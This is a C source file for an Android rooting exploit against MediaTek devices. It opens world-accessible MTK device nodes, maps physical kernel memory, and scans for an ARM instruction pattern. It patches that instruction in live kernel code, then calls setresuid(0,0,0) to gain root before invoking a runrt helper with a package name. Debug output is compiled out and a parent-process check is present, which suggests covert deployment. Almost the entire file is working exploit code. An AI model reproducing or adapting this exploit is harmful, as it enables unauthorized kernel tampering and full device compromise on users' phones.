#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include "util.h"


#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define SYS_NMLN 65

struct exp_perf{
	char phone[8];
	char model[32];
	char release[64];
	char version[64];
	unsigned int a;
	unsigned int b;
	unsigned int c;
};

typedef	unsigned long long	uint64_t;
struct utsname {
    char  sysname   [SYS_NMLN]; //linux
    char  nodename  [SYS_NMLN]; //locolhost
    char  release   [SYS_NMLN];  //3.4.4xxx
    char  version   [SYS_NMLN];  //#1 #SMPxxx
    char  machine   [SYS_NMLN];   //armv7
    char  domainname[SYS_NMLN];   //localdomain
};


static int kernel_paddr_get_iomem(long *addr, long *size) {
    FILE *fp;
    long page_size;
    char line[512];
    int n, gd = 0;
    long tmp_addr = 0, tmp_size = 0;
    char *tmp_name;

    page_size = sysconf(_SC_PAGESIZE);
    fp = fopen("/proc/iomem", "r");
    if (!fp)
        return -1;
    for (;;) {
        int tmp_val1, tmp_val2;

        memset(line, 0, sizeof(line));
        if (!fgets(line, sizeof(line), fp))
            break;
        n = sscanf(line, "%08x-%08x", &tmp_val1, &tmp_val2);
        if (n != 2)
            continue;
        tmp_name = strstr(line, ":");
        if (!tmp_name)
            continue;
        tmp_name += 2;
        if (gd) {
            if (!strncmp(tmp_name, "Kernel code", 11) || !strncmp(tmp_name, "Kernel text", 11)) {
                tmp_addr = tmp_val1 & 0xffff0000;
                continue;
            }
            if (!strncmp(tmp_name, "Kernel data", 11)) {
                int aligned;

                if (!tmp_addr) {
                    tmp_size = 0;
                    gd = 0;
                    continue;
                }
                aligned = (tmp_val2 & ~(page_size - 1));
                aligned = (tmp_val2 == aligned) ? tmp_val2 : (aligned + page_size);
                tmp_size = aligned - tmp_addr;
                break;
            } else {
                tmp_addr = 0;
                tmp_size = 0;
                gd = 0;
                continue;
            }
        } else if (!strncmp(tmp_name, "System RAM", 10)) {
            gd = -1;
            continue;
        }
    }
    fclose(fp);
    if (gd && tmp_addr && tmp_size) {
        *addr = tmp_addr;
        *size = tmp_size;
        return 0;
    }
    return -1;
}

int sub_6184(int a1, int a2, const void *a3, size_t a4)
{
  int v4; // r6@1
  size_t v5; // r5@1
  int v6; // r7@1
  const void *v7; // r8@1
  signed int v8; // r4@2
  signed int result; // r0@6

  v4 = a2 - 8 - a4;
  v5 = a4;
  v6 = a1;
  v7 = a3;
  if ( v4 <= 0 )
  {
    result = -1;
  }
  else
  {
    v8 = 0;
    while ( memcmp((const void *)(v6 + v8), v7, v5) )
    {
      ++v8;
      if ( v8 == v4 ){
        result = -1;
        break;
      }
    }
    result = v8;
  }
  return result;
}


unsigned int dword_61E8[]={0xFFEB0000, 0x50E30000, 0xE3750001,0};
char byte_61E8[] = {0xFF,0xEB,0x00,0x00,0x50,0xE3,0,0,1,0,0x75,0xe3,0,0,0,0};


int mtk(){
	const char *devices[] = {
				"/dev/mt6575-MDP",
        "/dev/camera-sysram",
        "/dev/mt6573-SYSRAM",
        "/dev/mt6575-SYSRAM",
        "/dev/mt6575-isp",
        "/dev/mt6575-eis",
        "/dev/camera-eis",
        "/dev/Vcodec",
        "/dev/camera-isp",
         "/dev/mt6573-MDP",
         
        0
    };
	unsigned int page_v3 = sysconf(40);
	struct stat dstat;
	int j = 0;
	for( j=0; j < 10;j++){
		char * pdev = devices[j];
		if (stat(pdev, &dstat)==0){
			printff("%s\n", devices[j]);
			printff("device exist\n");
			if((dstat.st_gid)== 1006 ||(dstat.st_gid)== 1013\
				|| (dstat.st_mode&6)==6 ){
					unsigned int addr;
					unsigned int len;
					printff("device math \n");
					kernel_paddr_get_iomem(&addr, &len);
					int fp = open(pdev, 2050);
					if(fp != -1){
							//addr = 0x1600000;
							printff("device open: %x-%x\n", addr, len,page_v3*page_v3);
						  void *v19 = mmap(0, page_v3*page_v3, 3, 1, fp, addr);
						  if(v19 != NULL){
						  	printff("mmap sucess %x\n", v19);
						  }
						  //do_root((unsigned int )v19, page_v3*page_v3);
						  
						  unsigned int v21 = v19;
						  unsigned int v22 = v19;
						  unsigned int v23 = (unsigned int)v19+page_v3*page_v3;
						  int v24 = 0;
						  unsigned int v25;
						  unsigned int v26;
						  int i = 0;
						  
						  do{
						  	
						  	//printff("while stat %x-%x\n", v23,v22);
						  	v24 = sub_6184(v22, v23-v22, byte_61E8, 6);
						  	v25 = v24;
						  	///printff("%x\n", v25);
						  	if (v24 == -1){
						  		printff("sub_6184 fail\n");
						  		break;
						  	}
						  	
						  	
						  	if(!memcmp((void*)(v22+v24+10), byte_61E8+8, 4)){
						  		v26 = v25+2;
						  		printff("mem match\n");
						  		*(unsigned int *)(v22+v26) = 0xE3500001;
						  		sleep(1);
						  		setresuid(0,0,0);
						  		int uid = getuid();
						  		printff("uid:%d", getuid());
						  		*(unsigned int *)(v22+v26) = 0xE3500000;
						  		if (uid== 0){
						  			return 0;
						  		}
						  	}
						  	v22 += v25+6;
						  	
						  }while(v22+6 <= v23);
						  
					}
					
				
			}
		}
	}
}

//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int ret = 0;
	
#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	mtk();
	ret = (getuid() == 0);
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}
